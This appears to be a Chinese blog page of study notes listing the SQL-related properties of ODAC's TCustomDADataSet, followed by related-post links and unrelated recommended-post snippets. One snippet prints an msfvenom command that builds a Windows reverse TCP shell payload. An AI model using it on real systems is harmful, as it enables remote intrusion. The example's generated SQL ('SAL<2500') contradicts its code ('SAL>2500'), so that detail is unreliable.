1.SQL相关

名称

类型

说明

BaseSQL

String

没有被AddWhere、SetOrderBy、FilterSQL等方法处理过的原始SQL语句

FinalSQL

String

被AddWhere、SetOrderBy、FilterSQL等方法处理过的最终SQL语句

SaveSQL

将SQL属性中的值保存到BaseSQL中,以便在处理后能够还原

RestoreSQL

从BaseSQL中将语句还原到SQL属性

SQLSaved

Boolean

SQL是否被保存到BaseSQL中

SQL

TStrings

FilterSQL

加在WHERE条件后的过滤条件

AddWhere

加入一个WHERE条件

DeleteWhere

删除WHERE条件

Conditions

TDAConditions

用于增加WHERE条件到SQL中,是一个集合对象,所以其最大特点是可以根据不同情况使能不同的条件而不需要重新设置条件内容。

代码参考如下:

UniTable1.Conditions.Add('1','JOB="MANAGER"');

UniTable1.Conditions.Add('2','SAL>2500');

UniTable1.Conditions.Enable;

UniTable1.Open;

最后形成的SQL如下:

SELECT * FROM EMP

WHERE (JOB="MANAGER")

and

(SAL<2500)

SQLDelete

SQLInsert

SQLUpdate

TStrings

删除、插入和更新的SQL,参数必须是字段名加冒号,如:

:DEP_NO

对于更新、删除时需要使用字段原数据值作为参数的,则需要使用OLD_来标识,如:

:OLD_DEP_NO

SQLRefresh

TStrings

在调用RefreshRecord方法刷新当前记录内容时使用的SQL,要求同上

SQLLock

用于形成记录锁(record Lock)的SQL语句

SQLRecCount

当数据集属性:

FetchAll=False

Options.QueryRecCount=True

用于开启数据集时获取数据集数量的SQL语句

MacroCount

Integer

宏的数量

Macros

TMacros

ODAC在SQL中增加了使用 &宏变量名 的形式替代参数

GetOrderBy

获取SQL中ORDER BY 内容

SetOrderBy

设置SQL中ORDER BY 内容

ODAC(V9.5.15) 学习笔记(四)TCustomDADataSet(1)的更多相关文章

  1. ODAC(V9.5.15) 学习笔记(四)TCustomDADataSet(4)

    6.Options TCustomDADataSet的选择项为TDADataSetOptions,其成员介绍如下表 : 名称 类型 说明 TDADataSetOptions AutoPrepare B ...

  2. ODAC(V9.5.15) 学习笔记(四)TCustomDADataSet(5)

    7.其他 名称 类型 说明 FindKey 类似于BDE的相关功能,在当前数据集中查找指定的记录 FindNearest 移动游标到最符合查找要求的第一条记录处 FindMacro 当前数据集中是否存 ...

  3. ODAC(V9.5.15) 学习笔记(四)TCustomDADataSet(3)

    4. 主从表关系 名称 类型 说明 MasterSource 从表对应于主表的DataSource组件 DetailFields 从表中对应于主表字段的外键字段 MasterFields 主表中关联从 ...

  4. ODAC(V9.5.15) 学习笔记(四)TCustomDADataSet(2)

    2.连接相关 名称 类型 说明 Connection 指向一个数据库连接对象 Disconnected 设置为True将在数据库关闭后继续保持数据集的开启状态. 3. 数据获取 名称 类型 说明 Fe ...

  5. ODAC(V9.5.15) 学习笔记(四)TOraQuery (1)

    TOraQuery是ODAC中常用的一个组件,其继承关系如下: TDataSet ---TMemDataSet ---TCustomDADataSet ---TOraDataSet ---TCusto ...

  6. ODAC(V9.5.15) 学习笔记(四)TOraDataSet

    名称 类型 说明 SequenceMode TSequenceMode ODAC可以直接利用Oracle中的序列对象为表的主键赋值,从而实现主键自动增长的功能.该属性决定了在什么场合下使用序列: sm ...

  7. ODAC(V9.5.15) 学习笔记(四)TMemDataSet (1)

    所有的数据集类组件都是从TMemDataSet继承下来的,该组件实现了内存中对数据的管理,其主要的属性.方法和事件如下. 1.数据更新 名称 类型 说明 CachedUpdates Boolean 数 ...

  8. ODAC(V9.5.15) 学习笔记(十四)TCRBatchMove

    名称 类型 说明 AbortOnKeyViol Boolean 在处理数据时,如果发生主键冲突或主键校验失败时,是否中断 AbortOnProblem Boolean 发生问题时是否中断 Change ...

  9. ODAC(V9.5.15) 学习笔记(四)TMemDataSet (3)

    3.其他 名称 类型 说明 GetBlob TBlob 按照字段名获取当前数据集中某个Blob类型的字段值,并以TBlob对象形式返回 Prepared Boolean 检查Query的SQL是否已准 ...

随机推荐

  1. a标签下载;页面传参row对象先转换成字符串。

    jsp:添加一列 <th data-options="field:'id',width:180,formatter: rowformater" width="20% ...

  2. JavaScript原型规则和实例

    var arr = [] // var arr = new Array() var obj = {} // var obj = new Object() function fn() {} // var ...

  3. c# 使用MS SqlServer,连接成功,但是还报异常A connection was successfully established with the server, but then an error occurred during the login process. (provider: SSL Provider, error: 0。。。。

    c# 使用MS SqlServer,连接成功,但是还报异常A connection was successfully established with the server, but then an ...

  4. IntelliJ IDEA总是提示Cannot resolve symbol的解决方案

  5. Msfvenom木马使用及TheFatRat工具

    msfvenom –platform windows -p windows/x64/shell/reverse_tcp LHOST=192.168.168.111 LPORT=3333 EXITFUN ...

  6. 交替最小二乘ALS

    https://www.cnblogs.com/hxsyl/p/5032691.html http://www.cnblogs.com/skyEva/p/5570098.html 1. 基础回顾 矩阵 ...

  7. 如何删除Sitecore CMS中的项目

    在此“如何”帖子中,我将介绍如何删除项目以及如何在Sitecore CMS中恢复已删除的项目. 删除项目 有多种方便的方法可以删除Sitecore中的项目. 从功能区 在内容树中选择您要删除的项目. ...

  8. Sitecore 8.1 - 特性和功能

    营销基础 一个新的Sitecore品牌术语取代了体验营销(以前的Sitecore DMS),这是Sitecore体验数据库(xDB)现在所在的位置. Sitecore 7.5和Sitecore 8.0 ...

  9. Block 循环引用(中)

    不会造成循环引用的block 大部分GCD方法 dispatch_async(dispatch_get_main_queue(), ^{ [self doSomething]; }); 因为self并 ...

  10. 1 virtual

    1 differents: 'virtual' just in C# In Java It does't have the keyword 2 Usages in C# used in base cl ...